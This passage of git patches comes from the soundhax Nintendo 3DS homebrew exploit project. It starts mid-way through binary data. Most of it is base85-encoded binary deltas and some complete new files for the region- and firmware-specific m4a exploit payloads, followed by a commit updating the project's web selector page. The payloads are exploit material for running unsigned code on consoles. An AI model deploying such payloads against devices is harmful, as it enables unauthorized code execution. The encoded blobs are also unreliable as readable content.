zKYYXQ>2KtWb`AKIMid{5W^B1qwaL%YH!Z$shd5kWR`8|T4=4;Gom`R1=68qxa~w=T z_CJb_PEJWxq}dCe4>UL7sOzVaQq{;8M5y1jHWK+o?>veP`sz_n`EEzgaPr@1boD+g z;M21bo==qUW@!Oq37~!W6o8l6dhMb0JrUHcgj8m~huq}}g(8?9x_l24(GJKlnk^!e zU8mhh3qR5s9*10xT!H;KBU_B=GKdI&4vYsq>2nULx_@9O0s z=f!wOo9GjIl$WYzxtc6nM|Y$$kk9d6!QL74s@&DlMX9nxZwrWh^zuROz{5vxEGktQ z3u)faC1inI77gFV5yYFiikk9G9qz4957fMH^%8`Cf?&vLjc#w|h$s`U6*EL!rkwAH zRi}|qVX#OjBGn{Z%;J+V$Z7$XWZ}vRW))i-+zy@Sn6Nd+<#B|GSrW4}>M4>Q!_}g1 y`^KpA5^6xx<9`mT)bP!}I-DOi(guBArk#)Im&1*#?$CHO%wymLLC}4kSY^LZjnx(a diff --git a/soundhax-eur-o3ds-post5.0.m4a b/soundhax-eur-o3ds-post5.0.m4a index dcede7b20979d59e99e1dd1fcf5307f1a8e9b960..212bafb111af8fe261ee6299ffbce6dccd4dda21 100644 GIT binary patch delta 693 zcmc&wF-u!f7(Fj};!`4AG$ewtJUSGWCwW9mEeL&7hZ+cVXd#1{bQIb_u+TzYF@wt^ zq3LMJUEGUyEoA7>p+j(VO5Wu{Vxe6+bTXbx{0V{|T;BK2`OdlLyY);x(`JN@DIuvc~p`mAizrTos*c7oJroY7jsj}q1 z`G!BzU&$G51^Asp6t_h^wp^)B$gj{hCBA5fI9yp&@TEEqC=4Q<+>*-X_XGb|IXDK{ z+ZQdJT$CzLvn8HAnwxOc^~RD?mC5Hss9!bTB<9wqR=Zc7(9c|9Cn?SwhJ zd$f*)nRUE){siL*;N;Uo0ABiF!$b2d5mc>&RA#?P?(%>_5iAc}zK4lu2jm#d7Lm!W zQ*NY%AL%rYLvEH_j{OuPTa4*4hzP&;jR!sHHCm~RFm`Tx!<%6L-six%r-QdI=l_I3 zEq0k4ZcW>$X-Cv_8l%T9Fc`3{Yw?6>2sT=Heg}C5e=yAK%LnDL?2PI{RiIgnULxx>*|#t z<3)K(o9GjIl$ENQb2a5`9od!2K)%3x6?^BG7e%3R%86ti$<{l{Dz9Vv0#I7Y~ztlV<47?y@sU zs0t2k1P?CFp@$xn>_sG^62XI)LJoQpEF#upvco`B&>o9Oa{6cI}cin8||uVG#QQm4EN z3+n9OAaf;8KRxsPN5feC^k)CHw>2OM%n@Zm5f)MZb{HmcH$P9DC*pa)6g$)TeK{%{ z`6xcc)nq+P-X4&3_K@x>R`70-am8kse7O~*DBt3IjDEdnZCA9lF!@v~7-6ns9E!PRZ;adS zO}2tr+OwJ;&QR)XXa7cR7cd&xTO?JdZ7Y6KEQa!bKH|Z-p}$K@A=jV4(pMbw2!Z zu;~%umL4Q}WFM{IAZv4kYih-(f6`fBIdiH=8_$~3no^6fPj7~r(F`*jY1#&9%ThnY z8YFmbooCSe>pPNzIhm_dqgnXvbXOO?QvYWJRd75J}LpmeTtTQ<&}hX2XUe$F0SAAfa*^5OVxdBu{hacteJ%ux>SGuc(o zs;ZhkTAJ3U*|)?qyROWOl$p3^!7vPRhb>i;d)^F&o?G;++`Qdz O<8#+4*Q)9-2mA?A7Zrv8 literal 0 HcmV?d00001 diff --git a/soundhax-eur-o3ds-v2.1and2.2.m4a b/soundhax-eur-o3ds-v2.1and2.2.m4a index 2b41e08761bf72b8b983c9e4db3e867a0713dd93..8a8c4d40e3a077273ca1a629d092bd653d727208 100644 GIT binary patch delta 693 zcmc&wF-u!f7(Fj}(pQOaX+so@@^C1%ypo5tSRvp;9a=%^&_V_?HKSm+3KsH8Gq^kw z8plZP;x5Kj$l&1MAWp@}yvv0|L6;7lnx0GY6AJy{^1gS@cg{WEt!Ap3+FE(z|JM3H zy}q8Y&daF%9RI{ZF$e2PD(`YVzCly_{anWqQhgC^?V+Y8fQJj>AT~zq%=AMXkZPR# ziEsGt`iPv-7J<7IqPQ)pvE@qDApeTKDRH13;&A1ff-luxKw%K+^#fk`O`e!E-&Cw0%-i00pO)eD<0~{iJ)vHq%!-Ba+hfeMewrc@;yvMJ0Qnswunr2 zopK{B{79#H9C8!nvh2qg*ySB6Xkt?xU*NISv?cei;&kP~2O;;@k zSue(0N=Kj2BU8xpoU15jtLTo98uA(5E7+?-ufkmwT@*4y^uB=DN6!qh2Od6pBT*qs zSV(b86_E|(l41Eajv!uF71U(bRk*i4*^~2ztCk@A8w7n$Yjk@vM?~p(wU8!iK2JM8 zkz9=ih75y6LJ=Xy;bIn_v|dITa7j5_S;nkvD~;Qs6BRRT#c_EYp<|ZBEQNZ4gvW5T z(Y1YT(0UCupy~0U!wOlxKCHv}p_S6;>oVnhM!y}dUA6n#o2DNFCkTS}%h)RW1G@>; Ax&QzG diff --git a/soundhax-eur-o3ds-v3.xand4.x.m4a b/soundhax-eur-o3ds-v3.xand4.x.m4a index 6d5a5b89cde08aff7716ad4baf128456ed5b2817..b312e8ad7e5abac942b7564f28457599d547b639 100644 GIT binary patch delta 693 zcmc&wF-sgl7=3%U;wId|V2)F86P6S~Wy38-iNZma#3BlkDm6n1Q0R@Fyaf>v| z9XU(GO_M(4(grM2q_B`w!OGiVz`HsJkpKf|jmtdwB=mdZa_OwZ8LLBG_ogj8GNNc(8$5#ZvOIEdwm{WSd@4oEdj z{(E5fef^c3(XIf0b4b!7QBN&TszdTG=$jLtwL=`9Tu=z4`WR9eCOSJWmCf%i|ED-O z0NGg=Eu9^gszkF1o;8}AaMX1MvQkyayCTx>n;V(Y8UG|n4f<;6Oa)#`Pjd3Q-|sC) zF1DYQG4`m8x36DfFasQZdJ4cVe0bxd`7IOHtc+ADYN zCcDmgi55Yk3p@_F5ppj3JR@6-=`o0iew-T*deZB5r7EJ-x$6yYf?e*o;M{C?^WEcr zQ5dHllf#R(jaWM()&<-?_9TM=6=mb#ixEf2p~`KVd)cdY&px-Exh1Z|YM(xswr&7e CzXi+y delta 524 zcmchSze)o^5XNVdQ%;GnNQ?o49AcqxA;CYLU}B<1K}eyHLJR*CK0v@iAxA2kBf)D8 zw}lU&(53Q6&UzaK8Gy3gt?W*0^-ZcFfI6)A!U&dD1AH~Vl A$^ZZW diff --git a/soundhax-jpn-n3ds.m4a b/soundhax-jpn-n3ds.m4a index e9da190cc1cf5413ceee8e436d86415a8c12cf61..6371a5307d1186e35fd59c6af2a52bcd19a64f26 100644 GIT binary patch delta 693 zcmc&wF-s#s7=4>vxjji>kPrjLW3dpFJ+j0TJrHgY3r`R&6jErVrJ&sv9%RK7*DMiZ z>5*x!KQ7k_DJ(23#8NEG4g(rN8w)Gr8}ug#elYB}?|tvh`=*ww<@V+(i|X7^xebeH%c8SB2a|(e}zd{PbSli#Fa`^qp|1TWufoyMx zhPFqfD$;C}XPxFI9Chs;TdFeof{64|eKR#M>7T`kLBI7~slaRK5+|R!-Ofr>Kz?`% zCw)_xou0sl6mYmd1i;T;hCb^5QenkPNoDry$DeZ z5yU#nj%eZARQ7`%(ZYT_|D wysCCk)vl=OEM6YF#9+Xpa&Yj+h$Ey?<~H>m`?1+^t{rz~nJclH7azy1XPH<9yZ`_I delta 524 zcmchSze)o^5XNVdQ%;GnNDP4lImANYLV|xP3ojZq3PK8n6k7PF@Bsu1g&e7Djs&kY z+!j7SBrlNCGFXa5?$!l~g%NDD@ca&Z27fTj?9A-Pe2r8i)!cFK*_7L5qyG_^VzIae z)(9bqvG2_YRG4JFJbQ#dR6YJ_`HxgqPIE39(si^zwhItKN1(R zjD;+>RSDTZE*o~>;0WS%RYgsOx{CHzC;M{N@YDi?f5LFk4p->*W`>B&fHb}Z=DK_Mq*=yD{O zjwyMIdudz?89HR>ARSAGcX z*X!FkYfy(6=HIcfQ-bwND*tRV8KSF$X=!8$sXmIn_R-P>;OZxF5X%tzVfs59kSb69 zG%);;{z}ehcYq5Qancvf#PX!-kYA>+E52xlI6S$b5J>eYq%e$idR;1;-vjL9nsKP+&*@h!GNl=@%hAvBeoAzP)x;L@UZRgcCS7P;k&#hSh00@Hx A_y7O^ delta 524 zcmchSze)o^5XNVdQ%;GnNQ?mwImALCA;CYDg%^z)1tEn(3N8Fo_yB^1LXK26M}pTH zZVMkEk{3v687##jck6=0!U#56czy>ygFhH%c4qctzIv*jYV5f8Y{KoZ;s1!KLZPq* z)8S+>|Ab+`6|T_j%?uG`lFwF#i1#Ml z@0eAkfhnV4u}DP7QMj1KC#{!NCR~z*E6bRb9i?$6a-tHZqc|>4B6Q5sm>H+Eu%+y=wXqaKkWcKaDK2U*r1M ARR910 diff --git a/soundhax-jpn-o3ds-pre2.1.m4a b/soundhax-jpn-o3ds-pre2.1.m4a new file mode 100644 index 0000000000000000000000000000000000000000..696c5dd7dcf33d3527b2be4ea5032a53ccba068e GIT binary patch literal 2647 zcmeHHPiP!f82@c{quX{1gKkX3ZJC5BTGq{Ulh!tfZY05ah>5nvTs%zn%{D`Kc9)&m zhDgD&M)2Tb4n6dsWG@PlR6KYU0#@*#P(-Z9WQT#Opgk6m#^1NQ!ATLlYk$L=?|Z-R z&wKBic^?41|5kf6N8`8fUh(b_I+YhnDURxrw3M>!O8%ib8b z-5+lS^R#C)KRipRQ=ZoSc9UyEyBy9_hjBT~-e|VP_xXpm0z+R5^Nhc{v-9)UUIueN zOaNa_;MRd>@L(U{FH3#0>FirsT;CYR#-}-)<~M<+;Rsw*p!impz$mKlum}rvn5gmL zmxE1@4sPo~tWWmQ3ih)$hq{}lXg`~w76x}x`H{ejLaLf7*=ZTTbABZM@S-Z$cSGH3qxbXdGQb~>T`6&@xlT7x&vZm}`HZStVi(AkQjL09 z@9CSaw@{{j-t}DRY69_jjcrgiCy;p;ebRoq+oKq>T;<9yn^M7Y4vafZsc# zpG;pm`2a;s>b8%|yg`W}*Yi5D)FuDpY^1`cU9VUbg%JKpjtql}LJ-3B{6!|NHk4;l zt~!>;4)zp`MXsB*nw)VLiK1P0+0)~>^@_G#-Q_#TD-$cysc$E zI`S}Z3@51Ff9_Y{zg~fRHN%qqpT{OS;C8XaDYW@yyPRa0dxWqVV$>(%XrhG%6< QcHNE6U8`8FsJ|TWCs^7Q_W%F@ literal 0 HcmV?d00001 diff --git a/soundhax-jpn-o3ds-v2.1and2.2.m4a b/soundhax-jpn-o3ds-v2.1and2.2.m4a index f1a4e7c5500072916b2d0f16418d6a8e5891f9f1..90d8ee2c20ebc96cef3846510044404e04f574a3 100644 GIT binary patch delta 693 zcmc&wze^)Q7=4?pxE=`%A;f_3SS$pOl`Q_?P7qwg;w~Usc#y(WccpOGS)7m+Q`jsC zmn)S_V=sE`frW)dieM#H$qobl0I#vIGWQ1aCmi^}u;0G-y*KZhdaj;pl&b5mTdV)| z`ex3$sG@N-`h|r`5!R(tUS~D#qNV+Qv1bXXw#AwD(9n6{Z<{!XrHP%Jet-i~jgtTE z8-7n8lQY^1aGydHpNV>Gxl$dFpQUd~9BPL+Tv<}^rP>cD3?iNUB$dtY4*%ykI0V_- z5-pvalB!6vcRXKdZo*O58%j!5CSMSt-e`VHjD7GrQEbqqOjr4COV4ofx!=Fr3=7Cl zF5)7yh>y$fF`NJneog@JvhBb_^CS^et%Ou&zc<|FErlYOzIFK?CZZjXV>DYtCc93# zkrsZWvpf#DJh=k%n!iz?Yf{;QXg%ClmaOkM_iVyxv*G`UseC@a z2G&6VY=BL$1)L;%s2qb6K!;gkPeK}2>%8_uNkb+?ad4k8Hq>JAgVu4 zIzJJ!LVaC^!6KoEkfU%hjZa!Pqjb0=6IYfnE7?lpcIZUKbz5;uVY7 zqJ-+du4NXM^02O@@~&p%Thz7R%r`6{)rL6J9;!MEJYNzAu?}MArvJnNsk+FY_=exn zhvbZQ33yB)iqAwPwp^+9$Pd#uCHA#L9Il*E@TJ-fC=4Q<{3Vsm?-u_@IM@Q&SQT}h z9FQtcvq7E}nwxOcHCmEV70KsBsOM{IiSD1?RTLX^qVrbyZe15R`POVcEQUE``^Rz7 zIgaVcA81Vgdw==>c%n!iz?Yf{;QXg%y{|2G|5!z)7-)$}uzu0= zgRB?l4HZM5(4(A?=ccR3v{iIlNDcW6?-M-S5@KO>UdYq>aJRV@NW?Gn!yU)-pmk@k$5o;qWaUM z^Aj;E)YoMgEE0+cISLok_@s3+N{34_ab*d!lC3muhfY*nw-v|b2}BID6lQ7EVqOUom}M#DQb zGzB_D5I8h6G+6(D`YspDq8gjB?S&CML)MTyp6E41p5I`nzGib#0iT0zh+UL}dU*N7MZfDwV}%P7`w`Cb-~r;D16GyB zBo`@YOkwRoQ+XnXcLD|%Iq*0u%FXh&9!n>ip0BElBW>Z>RXK~!?|#2mOectMWa%xF zrTSBvhIFFy&jb-AM>7wM%9pxZ&~z@;Si=}$92c28{bJ)A@Dyx;!J5fDX^|&GwkMh6 z$x$o|ED9D!9)@KNHfY5Qb-Sr$&jeh{1qCmUMxrK@Fr3Jp5J^Ql?PwqqVTJ5fT;4!^l}0vW1A) z#v)jy6f5-)nA|!b3YuTw`5yQad|=pN-kEoI?q1`s@ye=qB;sC0bpK;?C1$}KmIZon5o6OU?-=rERslq~Pb0C|XL7pJ`9zxt?YfSQluh0|f z8$_Qma{Y!p^M%r;0(~+VZ^vYnqo@;Vl-1_Y!JOl=wW5vfxFz04VG50VFxrwew$j>+ z!7Po~KrIUmgY7O$n*#KtEb|&pg>zYzeHWLLJmw;D${usrH#5*O8CBy6%>D$yhkDG@ z-E*FLB19LR6cJ?xrynGdjObzSG2)b{ql}1zPTKTgy%9{>tx;C^4CLUc1!x7AZRv*V za7?)@vBn@G3M~OGiM*e5Tj1sD$@T3{^)2*(XIuVlS){Tb{mVnWoKMlEOw~`VobXzf Us^8o1b~OAUUJwNJ+uoe`1wQ%L*8l(j diff --git a/soundhax-kor-o3ds-post5.0.m4a b/soundhax-kor-o3ds-post5.0.m4a index 7e0d0bae0cbf41b81fa4ccefe8c190406c35573b..63a7e4eea49b2447a78b9a35a2f62f75247ed051 100644 GIT binary patch delta 594 zcmc(bze_?<6vxl|Aw5Ik5{W_*522wjeEk9kr8m@25JVIR;SjY1?Ja>qOUom}M#DQb zGzB_D5I8h6G+6(D`YspDq8gjB?;PxKlh&u_3(U$eQWfX_iU#4gG~J-mG4qTltTvBHIk{RroI@Bs170jo-5 zl8Y2Hrm*&)sXURxI{|}>9C(}+Z>RXK~!?|#2mOectMWa%xF zrTSBvhIFFy&jb-AM>7wM%9pxZ&~z@;Si=}$92c28{bJ)A@Dyx;!J5fDX^|&GwkMh6 z$x$o|ECv=w9)@KNHfY5Qb-Sr$&jeNP;PXEa`-(K@Fr3Jp5J^Qd%hZ(OTHq2#FEP!^l}G*+N8Y zV-c)UhE(bwFu8R=6g0oU^F8n<_`tBkyfg3a+`T4V6O}dZL?pb5=>5m&NzQ?JumBdp z5?BToU-e@1c8GSt9@q!8Jwf6{o6OUO-=Hd|sKP>Ob0iy_L7pV~9!A_{t4#8gZ_pF! zTST8Ra{anI_l44?0(~l&=)~kTM^Pu#D67q}gE_}#YgHTDaf^J2!ZaEWV6-EvY>jF& z4zp3j7HU~&80_>|+7zItWQo^tDx52-WSKXSQ?|@u-|SG^WK@+WG5Zq)AF7q7 zhvz)?MTjoDX(GzRXPS~oM%u$(E8-NXtBi<*PTCA$y%9{>?J-vP4CLUc1!x7AZRv*V za7?)@u|^ybg_eYtLOw{kBk*$d}#DW9e*nXa8#IpMV} UReQAG?P&NzydVf__x(BX3uN`!6951J diff --git a/soundhax-kor-o3ds-v3.xand4.x.m4a b/soundhax-kor-o3ds-v3.xand4.x.m4a index d9eac3078205cc56f88a0975951cece8c60b9f40..bcbb00d9b20c1144d8cb018ea0fc92175c36d9fd 100644 GIT binary patch delta 601 zcmc(bze_?<6vxkdDrqQOLQzQKAv6?*uV3JxWKcta5K$n6LsUc18ZCiBOUonUH5%Tj zp()TQ2pk$38my&JeU}SnQBBd5eJ}Y3v~}Qe&pn@WzxR7?Gt>-~mJ2KY8>4@E{`75M z&wkoF+I-=w8>3AG(NlN}LHPt}k6gqXS*Jx6Y4#Frjd5|n>M~9x86kSVN1ad$pmwYB zew~PmFnG;W{77Dbsk?ci7e84}ot-$E!9^K-8oGXVZu|7W;&BH38B4mBxNu`X#CZnX zL%hAmD$+H^MFJY*SliH4p2*~FkBf^Oc$5|8n!TY9C*uvvQPsJjmN1QqoI>Y!uh%Um zW5id}^qNXj?IB46I?>rjjELgF)Ey)HLeCU5oeMSAAVwI$MV6U(Ht-F23bw#t&CM+7 zB}@7ZOES}vK`bv=1T2a?0LvO|8Zg3&Hyxz`O=$g&l%t~K?dOUsV`Ua2^i_9VlUnuK Q-En&t*5M3Mz4Xm$KbLUju>b%7 delta 544 zcmb`Eze`(D6vxkf@1;gb;Sv&(A;=}0kT#*MkfG4$kJ>5<88bxa54t(H6c-_B#PQK5 zucIM%5E0in6sL^ANu6B8VjpU@8+?%{mT`QCfpyUX5X{k7nW$OgW6 z^dBRUUj$2F8N3E7;0-wV{n@(x6MPa2&B1Y+-h&U|BcRPPiEC|2mm6W9x?CWih16z8 z_PK;SPxO#OoK(6@a*vPD6YCA4Un%m!@A7LXlr}!}=TUi-k{wQ>PN-2un_U-kuE+MO zHje8xc^icnXxxI)JK1G>PMfDNn?p2Et3boxC}C?;gI^t|{7PXyao diff --git a/soundhax-twn-o3ds-post5.0.m4a b/soundhax-twn-o3ds-post5.0.m4a new file mode 100644 index 0000000000000000000000000000000000000000..4dddc47ba3963b66f2a6953fd51b847b19b9ebdb GIT binary patch literal 2783 zcmeHIKWrOS82>qTid#9-DRD?p-EgrADwS!jPFe*B;GjgnP*Tw%vP9zScWF-b*_Q9z zP{d%BNWfrGqz(+Acwq=rhYDDbJOqiML&VTI@#!R>5_GPh=J(l-xKx52=hkcs&}<=Zf0HwA=0VLWNo+X$e1|nDAS`n^0iYgU+EH8))eKTA+Ks)24XGm z@|rsTFTnQwVXj+GYLjVv`{bR`cRx%5Q6Ntg2t`;#?&CB};$eQ3xI~2WKm*?SX81sk zxuYY9aVD7yE1fZ!V;}LpBKhb42EF{yWSxQ&cYEuBwmT;4#L5&RKQ{f$&bjt3HUpzG zwHMKv{<_u*GPoX$1HauS4{}4~wngvrK+_+i{gxs24}zPtN$d)6H-SdGrG3(l=uQ7~ z+NYT}p?wj=$%7n>rvFinak)kieZA?&DBtIJhJJ%+?iIDoAo@(xpJJ|)ycKiH+8DPt z7;XB?w5POsaFJ4{d`+*n8=M>3wP2Y#jB7z=r_mPQmxp(KL*ERtjDOJS{BmoNFp42CkEdHROMf=Y92$uOSSUDVrixL!{3eRH-Wq4SFg(^%`c%4EX zHa)tyr~8osSx3`9!rDx5PA&KB&pPWXdyeI3<6dK0LuwHu^hTf=jUdT8PTM$bDe6P4 zL4^C(xd*NO-A|H(Ihm_hqh-|F@xCs0+0$(;4e_fi9s9MO+i2_DGxUuhhK(SuZ3Id5 z-d&dK0?zv}-1t&r>quamby)nLg71xAfZ#??^q;Ih(0zpHhsL>(iO!3TvQ1LDqq>a^ zUwyx{C^zs@J(PcPO%<#Ap>Da>|9JKp;CII^t#YWjPA^g4bX@iLl&V@{7s!$lwQ5oC z>n+#I7pY%zJy*J`Kz!b2JC?->WZc7mw4L7aD5fn}xiXH{>-9A25~ED!M!`ma``vqx z%s?`Jh$13&JIra`qr|xDdEHp*lK&|-bm5b(S15}@2!Dciia`Y-2;utvB4eM`lxI?2 zcPx=z94HuzTs12d+2cN91-t0--x58wRWkX%i9XF=jRZ3x(0MS2Y3Mwo7SHfHPiv8v zjw}qE##w5Qu16L4uUBB(dJt^b71;;+fh~=2gmM*fVPw2DxLFD$6+^4ci!enj9w9y;W%#kB5zhku}bU zbyC>{>5)%_tuxP^nSbT%Y&V<^%K9gVCC{l==qTid#9-DRD?p-EgrADwS!jPFe*B;GjgnP*Tw%vQ+BX@7$c~vn}7b zp@_jMk$}OXNF5kJ@xl3;z>?+tU^dQzKAm z9CHUp5aUcT7n;A1$sD_g_Z7)M|2OF6hbHS39J$k54{|?_$vSav3XvaLerD@b=Qh>@ zV`pkRqP6^0tsP`=H5dneyGb78hRAJ--sgdqKSuivL+tMd*J+d3bHJShnw_@xaVMg; z{Lg5gX5NJMc@QTLaxhx{hdIXOnnCpSmLH>hkK-Bo4WhMO($<6MGcA9LxsLKy%q?qU z-1cC!?OdXQ!O{hgg(uFs~? z9)1ytKj(1clUY1A0Bqis`ec%&?=`e(-x?pmGT#L&hr@7DhT>DKQbWeX!!?Nn+eXT<(~anXMJVQu^esOYfNiOErNvJ3^bz|Bzeba8>cNr zeTX%PaNj!jpf$ezNpdhJbMj}ZOPI2SU}dC^g}NlJHA zx3S^N@0J$j23~4}@=va)Qf)WXtrMn8m=WVuQS)4$|Jq$?O=`D|9+H#dE<7lJNNV6_6%4BX7Yy`O1 zy$8t*B;)%iB2u^goaS9hjJuxKjioO6pJGE7KIwXeiYSEeM|h_gR1ks?uJ120_Gw*t zCgoMf64}L`g0aXovs#rs?jlyOOD_K{(PJBBlmDCO)BM#)FcShh_vbJTooCeI8D8aS zE%DNkg@NNZN$t_~r~?1>3M{>OqmROW(~t2cgRu|Ip?Ec8-tIN!^Emrl!ozm*k~A8 z5y%cE0Xe SnW9~D!(-PfRLbfv2Rr~5dp;Hb literal 0 HcmV?d00001 diff --git a/soundhax-usa-n3ds.m4a b/soundhax-usa-n3ds.m4a index 9ca1292c876e519761664887cf5a793222654980..e9315c2512ea758a093512c883a6c44e35c76add 100644 GIT binary patch delta 693 zcmc&w&nrYx7(H+1$)iy>rlAbIEEGM>%a2gXOBN`xpk~2}rDA76&68Q!yhg^7=5FkT zt+KGNu#lyddAD1B6dMaG-Am=&&Bl+YXup=LT0*K#aiu-%>o(y1mN@5C6R~U4|KfmDt>iC!!|&=-az?uh zyrvMvSE3YKu2e_l2k4s;$J!wdSI#K-Qtbs429ZuqOJ(!B&Hq6T)vn;h4Ol$eZ;$qVuOx1KPum?=zdOq)oL$GVHWxBF*q$_n3@lD{8o5g+g(B#CcKIGAq8*T9G+RU_yH2^07Jj7DJPx@w za#{9GjBGKc%OE1Wd@>&Nq}R_%d4#d^+Z)~l``F5YbED52a~*GCP>fwBhg;M(irNuH poyN~&_cItUuWTHi7;%Uc^4zApll(k?v7c;ba*->s&L0|vtZ#2k1ZMyM delta 524 zcmchSze)o^5XNV7t3-*gNDP4lImALCA;CYDg-MJW1tEn(3N8Fo_yB^1LXK26M}pTH zZVMkk$qS^k43<{8TNfl2MzGPs^E=2h_=90)XJ$Xt7 zIWH#KI*LA_M|r6(3a+Mtt&JV2IPy8(E7&`OUQM{#Sd=PD^uB=DM=u}b4m^DH#tf+{ zSV#*?myu26ifQ>ajv&#{HPn=E=x}d+y07LMHwXs9V2$o>=ZGj1=cNphkSXUU zQmE6=RAI14C?eG)T+HGV?`O3MmsG%&Rm`fk=E4r0=$L71fy?8FC}v5_(x|6MdJI>a zJ=^EQ_G_pCO;3y**2wasqdJ@)T4_#SS83;aFqyyhD0#RVj(CiS)zvuf{R#qf@pC<3R7u$aCR07Suuspl3=b> zGL5~ctzcns#T8m_z$`ga_VDo6g(H~fJ< zBWJW_;BOjHd@X9R!4zcsyJ+g< zm{bLtjq_~L+=Qd9ok~hoBA*wb{?_=B7@YBLqu8MHeJ$m?OD>`5!Ys$vYQzH(MMv2=r_LI*SkM_OoEUt4U*2SOhFV-vGX#}GH delta 524 zcmchSze)o^5XNVdRiZ>#B*uV;9Acr6kl>%n!X!qGf{;QXg%M>(l3@~)=5t)n|qapZHnSFm>my{d3^bWy4d(fa~oAH7_VJ@D|+8;MF) z#)2U%T|zdI%ckYqID$l7S5Z^0uEV|c$)1`wUA+Y1-yrA@f;GCkog<=jf)~?7qBrgQ zMDjHnm?{hw2}PtDhl^Q!;=PPE;ga&WvVvK~)?C=36CF2gEpT}P5yLEnnSpwOq{ncz z*|mK>XuXCS(DcO6VU;XDHmt+>p=EITx-y*4=(i*Ib-T~scWPCe6^D-DPLC zF(Np`2woQV&_fSO_Mk$f{yBIR0# z{E|BLH~6TLqo1Ch`eX#n&u$D{dRqhHzyeVu6k!ot-;cl~?&TMWb3`-`nBtAoxji}V ze4gvXC%Brdhnd@hvd%7&J!SG=&|L?b>{oC-HQLFGTR#oTe&LKF_CqVkUYlueVLdc< zMz>>HD_GVx!z`NN5b*nV9!z6i-gV74!D=@Cm2;;A`f&}GToR8D5AFb_@wjRcxZUv*vb%aAPx9p8^ z+x_uYFi(3%^TRnxo$_VfZ#TF$wAFB)I*ipYd#%wH-xnU<3JiTc%rpM(&dx92dKol- zoIv5q1a3a`EFSCw{1vHBHa)kR#nsEhxc)^BRelp_8VX#UqXB?ogdSGPv<@Y~6rE_OLn$;?3fs!zAc2b?ORSF+ZnF;4|5Nb0@edGO?26u-^#?ky2z}4I5HZnt+EKPiN_SMJ zq2SYRW~XHU&-;=5!%M1E+YNOq_1@33%K&#AyS&J$<~rR(J=0;;3PA|h^B0-8R9Bu! z*>o(C9qcI>i(E6SRXO7>5=Fb@vZu#$8)cJyKK>+IyaY2Luygl0j6vrewRne@d0R_- zbmU>+D2`LR|J<*@f4u@zXS=thdG;jy%Qpr%dwgT^^c>|Q(cAK>C0*mlhFMym9NA;C z%brzM6@6^#jDCiFOFT0h%3PsLM?Ld~VURm$sfyh5fvAnaN6F#PvbQJ=(%Uqx@Tn< Q?V1~%yH>GMR)0C*PtR=_C;$Ke literal 0 HcmV?d00001 diff --git a/soundhax-usa-o3ds-v2.1and2.2.m4a b/soundhax-usa-o3ds-v2.1and2.2.m4a index 5a7e040472db3e4eab036068142bb5f7e5af876c..980b04b8b151bc4e8387c7981dd4b7cc90ed0320 100644 GIT binary patch delta 693 zcmc&wF-u!f7(Fj}(pO2~VnY%z%A-TU@=6|R(L$il(m@5$!9oU|+Oc4_4lU#rGq^kw z8plZP;x3J=kinrthu|bm=3OpC3++6-R|63dX z^!i5D`dLB!GWVW^-6E_Dsl4t+e2td&hsB;Hr1~s6+CyFEfxo|qgIJo_x#`C^AXSe1 zsc-mweL~J?cY)t2L~%#dV#}4PNq&L8DRHD7;&A1qfCbUr${t-)-r6PTmiPw>x10 z0PfA#QvxG+pp!xkN053CG@zD5@2r5=WDzo1tcbTP71TSt}zK4lu2jm#d7Lm!W zQ*NY%AL$H_LoQFQz&_2$7Gt^$BEqx2@t`NYMk|#O#?H7mya_h=QUK>(-F(`d`4a}! z*ky9KRc)iH9Z}U8j2?TQ!GJAg8 A3IG5A delta 524 zcmchSze)o^5XNV7r<@XDkr)F8ImALCA%}k|3lohR1tEn(3N8Fo_yB^1LXK26M}pTH zZVMkk$qS^k3|3;5yLCZgVT3eVczy>ygFhH%c4qctzIw8rZ0xuXY{G4`;s1!KLZPq* z)xt}J6#c9hPY$cc)Zj^emHfiN&jVU|WcM#5*f z+Uz)i-fzA}8qoClpTi2-f$>*I^8-7r)8I1gerjJX*RNVV{Y^KHfE$Kk>t$q_{Q_|$ B*d_n~ diff --git a/soundhax-usa-o3ds-v3.xand4.x.m4a b/soundhax-usa-o3ds-v3.xand4.x.m4a index 31e0dfba7a637f2a66eb7db50fde5feb5645b0ce..73be07ae7730f87c0ad2d6ad408fb6f8027f43f6 100644 GIT binary patch delta 693 zcmc&wF-s#s7=4?p+$s@q;u`vXZpX(tfYlv4m8=#Hses&_lrE1#u7?Bz9){R~(QkPyX09 z{FXi-XS6H8eFkxID(Z>lO0`S=Gkr5+Pdmin%Cdql)pkH(5bN~3R5rgG{QttiKFH3h zXzBC^sfslF$n%5dCLDF0zO+#B*uV24zWJkn{Ya8_&;JQpU)S- z8YqHwumLuKlVlIoBXA7pAWQ5~Dzm%e-;%4Dkm_7?v`I~!B6^RL?ca%p&kU)qELSfE zSuZYHI)*->N0wA)IagE8*3m7gIPxjpOV~SsUPZV%Ixkg*=xq+Mi=Gu^_dI;`hN4oH zu#grtT|_pJOGeGNaRiCFuAnBXuEV|6@t&GBT)hC{pCITDf)%>Co*^PL!3!o)^J&ug zj^wH|FjN>U5{gJQ3K!G(#CsWSz$N8yWf`-wt+}v6CpvD}THx{oB8FKCvoz{4k{-j= zM%VWFp!E`JK+_X{4l7jiV}Erx->;=PeO{!UkLZ^p_+`7#UwP~hI6)A!pGTJ2FVKM3 AHvj+t From 957bca8029c1aeeae0f86ce679c955b4b14747d7 Mon Sep 17 00:00:00 2001 From: TuxSH <1922548+TuxSH@users.noreply.github.com> Date: Fri, 4 Dec 2020 01:22:51 +0000 Subject: [PATCH 12/13] Update web pages - Add new configurations - Only show relevant system versions - Current year is 2020 and the New 2DS XL is a thing --- docs/index.html | 21 ++++++++++++--------- docs/js/scripts.js | 33 ++++++++++++++++++++++++++------- 2 files changed, 38 insertions(+), 16 deletions(-) diff --git a/docs/index.html b/docs/index.html index f482d3c..5baaed4 100755 --- a/docs/index.html +++ b/docs/index.html @@ -4,7 +4,7 @@ - SoundHax | Nintendo Hacking 2016 + SoundHax | Nintendo Hacking 2016-2020 USA - + + +

Choose a console:

- - + +
-
-

Choose firmware:

- - - +
+

Choose firmware:

+ + + +
diff --git a/docs/js/scripts.js b/docs/js/scripts.js index e42bff0..ebcbc74 100755 --- a/docs/js/scripts.js +++ b/docs/js/scripts.js @@ -5,23 +5,42 @@ String.prototype.format = function () { }; $('button.group').on('click', function() { - if ($(this).hasClass('selected')){ + if ($(this).hasClass('selected')) { $(this).removeClass('selected'); } else { $(this).siblings().removeClass('selected'); $(this).addClass('selected'); } + // There is no CHN/TWN N3DS + if ($('.region .no_n3ds').hasClass('selected')) { + $('#n3ds').removeClass('selected'); + $('#n3ds').hide(); + } else { + $('#n3ds').show(); + } + + // Hide/show relevant system versions + 